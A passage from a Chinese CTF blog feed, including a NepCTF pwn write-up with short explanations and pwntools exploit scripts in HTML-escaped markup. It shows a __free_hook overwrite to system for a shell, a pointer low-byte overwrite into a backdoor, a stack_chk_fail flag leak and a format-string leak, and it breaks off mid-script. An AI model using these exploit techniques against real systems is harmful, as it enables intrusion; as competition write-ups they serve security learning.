&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;_ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;range&lt;&#x2F;span&gt;&lt;span&gt;((&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x90&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;10&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&#x2F;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    vm.up()
&lt;&#x2F;span&gt;&lt;span&gt;    vm.down()
&lt;&#x2F;span&gt;&lt;span&gt;vm.setflag(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x8&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;vm.down()
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;vm.addcomment(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x60&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;richar&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;vm.freecomment(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;vm.freecomment(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;vm.addcomment(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x80&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;lambda &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;p&lt;&#x2F;span&gt;&lt;span&gt;: sendAndWait(flat(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x71&lt;&#x2F;span&gt;&lt;span&gt;,libc.sym[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;__free_hook&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;]))(p))
&lt;&#x2F;span&gt;&lt;span&gt;vm.addcomment(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x60&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;richar&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;vm.addcomment(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x60&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;lambda &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;p&lt;&#x2F;span&gt;&lt;span&gt;: sendAndWait(flat(libc.sym[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;system&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;]))(p))
&lt;&#x2F;span&gt;&lt;span&gt;vm.freecomment(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;vm.send(p)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;p.interactive()
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>NepCTF WriteUp</title>
        <published>2021-03-22T00:00:00+00:00</published>
        <updated>2021-03-22T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://richar.top/nepctf-wp/"/>
        <id>https://richar.top/nepctf-wp/</id>
        
        <content type="html" xml:base="https://richar.top/nepctf-wp/">&lt;blockquote&gt;
&lt;p&gt;题解中pwn用到的库为&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;ri-char&#x2F;PwnWithIDA&quot;&gt;IdaManage&lt;&#x2F;a&gt;和&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;ri-char&#x2F;GlibcSwitch&quot;&gt;LibcSearcher&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;IdaManage用于IDA调试
LibcSearcher用于快速搜索libc。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h1 id=&quot;pwn-song-ni-yi-duo-xiao-hong-hua&quot;&gt;[pwn] 送你一朵小红花&lt;&#x2F;h1&gt;
&lt;p&gt;题中随机将&lt;code&gt;off_4020&lt;&#x2F;code&gt;中函数表中的函数存至&lt;code&gt;buf[2]&lt;&#x2F;code&gt;中，然后调用。可以找到程序&lt;code&gt;sub_14E1&lt;&#x2F;code&gt;函数内为后门函数，调用了&lt;code&gt;system(&quot;&#x2F;bin&#x2F;cat &#x2F;flag&quot;)&lt;&#x2F;code&gt;，但它不在&lt;code&gt;off_4020&lt;&#x2F;code&gt;中的函数表内，因此可以通过覆盖&lt;code&gt;bud[2]&lt;&#x2F;code&gt;低字节为&lt;code&gt;0xe1&lt;&#x2F;code&gt;就有一定概率进入这个函数，多尝试几次即可。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;nepctf-wp&#x2F;.&#x2F;xhh.png&quot; alt=&quot;xhh&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;typing &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;Union
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;pwn &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;LibcSearcher &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;IdaManage &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;pwnlib.rop &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;pwnlib.util.packing &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;flat
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;pwnlib.context &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# context.log_level=&amp;#39;debug&amp;#39;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;REMOTE &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;@connect(
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;remoteAddr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;node2.hackingfor.fun:32620&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;elf&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;.&#x2F;xhh&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;isRemote&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;REMOTE&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;idaAddr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;192.168.138.1:9945&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;main&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;p&lt;&#x2F;span&gt;&lt;span&gt;: Union[remote, process], &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;ida&lt;&#x2F;span&gt;&lt;span&gt;: IDAManage, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;elf&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;ELF&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    p.send(flat({&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x10&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\xE1&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;}))
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;__name__ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;== &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;__main__&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;    main()
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# Nep{d1e7ff52-7a0c-4255-8ce4-6e2293138fe9}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;pwn-easystack&quot;&gt;[pwn] easystack&lt;&#x2F;h1&gt;
&lt;p&gt;该题为静态链接的程序，逆向分析过后，程序会先读入&lt;code&gt;flag&lt;&#x2F;code&gt;到&lt;code&gt;bss&lt;&#x2F;code&gt;段，然后有一个溢出点。由于程序开启了&lt;code&gt;canary&lt;&#x2F;code&gt;保护，无法直接向ROP，但是可以通过覆盖程序的启动参数的指针，将其指向&lt;code&gt;flag&lt;&#x2F;code&gt;的地址，利用&lt;code&gt;stack_chk_fail&lt;&#x2F;code&gt;得到flag。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;nepctf-wp&#x2F;.&#x2F;easystack.png&quot; alt=&quot;easystack&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;typing &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;Union
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;pwn &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;LibcSearcher &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;IdaManage &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;pwnlib.rop &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;pwnlib.util.packing &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;flat
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;pwnlib.context &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;context.log_level&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;debug&amp;#39;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;REMOTE &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;False
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;@connect(
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;remoteAddr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;node3.buuoj.cn:25884&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;elf&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;.&#x2F;easystack&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;isRemote&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;REMOTE&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# idaAddr=&amp;#39;192.168.138.1:9945&amp;#39;,
&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;main&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;p&lt;&#x2F;span&gt;&lt;span&gt;: Union[remote, process], &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;ida&lt;&#x2F;span&gt;&lt;span&gt;: IDAManage, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;elf&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;ELF&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    ida.attachAndContinue()
&lt;&#x2F;span&gt;&lt;span&gt;    p.sendlineafter(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;!!&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, flat({&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;456&lt;&#x2F;span&gt;&lt;span&gt;:[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x6CDE20&lt;&#x2F;span&gt;&lt;span&gt;]}))
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;__name__ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;== &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;__main__&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;    main()
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;pwn-scmt&quot;&gt;[pwn] scmt&lt;&#x2F;h1&gt;
&lt;p&gt;程序随机生成一个数，然后判断输入的数和生成的数是否相同，相同就给shell。输入&lt;code&gt;name&lt;&#x2F;code&gt;后有格式化字符串漏洞，可以就直接将生成的数泄露出来。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;nepctf-wp&#x2F;.&#x2F;scmt.png&quot; alt=&quot;scmt&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;typing &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;Union
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;pwn &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;LibcSearcher &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;IdaManage &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;pwnlib.rop &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;pwnlib.util.packing &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;flat
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;pwnlib.context &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;context.log_level&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;debug&amp;#39;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;REMOTE &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;True
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;@connect(
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;remoteAddr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;node2.hackingfor.fun:30146&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;elf&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;.&#x2F;scmt&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;isRemote&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;REMOTE&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;idaAddr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;192.168.138.1:9945&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;main&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;p&lt;&#x2F;span&gt;&lt;span&gt;: Union[remote, process], &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;ida&lt;&#x2F;span&gt;&lt;span&gt;: IDAManage, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;elf&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;ELF&lt;&#x2F;span&gt;&lt;span&gt;):
